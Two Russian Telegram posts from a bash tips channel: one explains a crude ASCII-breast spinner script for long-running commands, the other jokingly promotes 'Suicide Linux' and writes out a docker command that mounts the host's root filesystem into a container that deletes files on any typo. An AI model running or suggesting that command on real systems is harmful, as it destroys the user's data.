Просто он трясет сисками при выполнении длительных операций (копирование, загрузка, синхронизация).

Я когда-то видел что-то подобное, но найти не смог и пришлось писать свой. Вообще-то я против «красотулек», но кому-то нравится...

Сохраняем его в файл tits.sh и проверяем:

chmod +x tits.sh

# демо:
./tits.sh
# тест:
./tits.sh 7z b


Собственно скрипт:

#!/bin/bash

declare -r LOG=$(mktemp)
declare -r BS='\b\b\b\b\b\b\b'
declare -r SPC=' '
trap 'echo
tput cnorm
test -f "$LOG" && cat "$LOG" && rm "$LOG"
exit ' INT TERM HUP QUIT EXIT ERR
tput civis
CMD="$@"
test -z "$CMD" && CMD='sleep 10'
function TITS(){
declare N P T=${1:-21}
case "${T:0:1}" in
1) N='(.)';;
2) N='(o)';;
*) N='(*)';;
esac
case "${T:1:1}" in
1) P=${N}${N}' ';;
2) P=${N}' '${N};;
*) P=' '${N}${N};;
esac
echo -n "$P"
}
$CMD > "$LOG" 2>&1 &
PID=$!
echo -n "$SPC"
while :;do
for i in 21 12 23 33 23 12 21 31;do
echo -en $BS
TITS $i
ps -q "$PID" > /dev/null 2>&1 || exit
sleep .3
done
done
#--


Разбор скрипта:

LOG=$(mktemp) - создать лог в темповом каталоге
BS='\b\b\b\b\b\b\b' - забои для перемещения в начало строки (число равно размеру сисек в символах)
SPC=' ' - пробелы, для очиски сисек (число то же)

Поскольку используется темповый файл, пишем правильно.

trap INT TERM HUP QUIT EXIT ERR - Перехват сигналов, (последние два - башизм)
echo - перевод строки после сисек
tput cnorm - включение курсора
test -t "$LOG && "cat "$LOG" && rm "$LOG" - вывод на экран лога и его удаление (при наличии).
tput civis - гашение курсора
test -z "$CMD" && CMD='sleep 10' - если параметры скрипта не заданы - запускаем паузу 10 сек
function TITS() - входной параметр двузначное число, где десятки - форма соска, единицы - положение
declare N P T=${1:-21} - описываем локальные переменные. Если входной параметр не задан, используется 21
case "${T:0:1}" ... esac - задаем форму соска
case "${T:1:1}" ... esac - задаем положение
echo -n "$P" - выводим сиськи, без перевода строки.

Кстати, интересная особенность echo $P. Если переменная P содержит пробелы в начале и конце - они отбрасываются!

Если пробелы важны - нужно использовать "$P"

$CMD > "$LOG" 2>&1 & - запуск команды фоном, с выводом stdout и err в лог
PID=$! - запомнили PID запущенного процесса
echo -n "$SPC" - перед печатью сисек старые очищаются, чтобы было что очищать - печатаем пробелы.
while :;do - бесконечный цикл
for i in 21 12 23 33 23 12 21 31 - анимация
echo -en $BS - очищаем старый вывод (используем ESC-символы, без перевода строки)
TITS $i - печатаем сиськи
ps -q "$PID" > /dev/null 2>&1 || exit - проверяем не закончился ли фоновый процесс
sleep .3 - пауза 0.3 секунды

Вообще-то можно было бы обойтись буквально одним циклом... Но нужно же и учится. Даже на сиськах.

man tput mktemp signal ps
help trap declare
https://cheatsheets.zip/bash


Надеюсь тема сисек раскрыта. Всем добра. Tagd

tags: #bash

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
107526
Любишь линукс? А готов ли ты сыграть в опасную игру?

У тебя будет всего лишь одна попытка и как только ты ошибешься, придется знатно поебаться.

Поэтому прежде чем что-то сделать в консоли — подумай, а правильно ли ты ввел команду и готов ли ты поставить на карту всё самое дорогое?

Если готов всё потерять, запускай:

docker run --rm -it -v /:/host tiagoad/suicide-linux


Я проиграл спустя пару секунд и по настоящему проебал всё! Но испытал непередаваемое чувство радости и свободы. Вот и повод пересесть на 24.04. Вообще забавно получилось!


И сегодня я уже не работаю, благо я запустил это в wsl. Пойду искать бекапы, где-то они у меня вроде были.

Рискнешь? Пиши в комменты, сколько тебе удалось продержаться и какую бурю эмоций ты испытал.

Все еще любишь линукс?

Вечный холивар, какой дистрибутив выбрать. Ответ однозначный - Suicide Linux! Он тебя дисциплинирует, с ним ты выйдешь на новый уровень и преисполнишься.

Рекомендую потыкать, но будь осторожен, сапёр ошибается только один раз.

Страница проекта: https://github.com/tiagoad/suicide-linux

tags: #linux

🔔 @bashdays
Please open Telegram to view this post
VIEW IN TELEGRAM
324616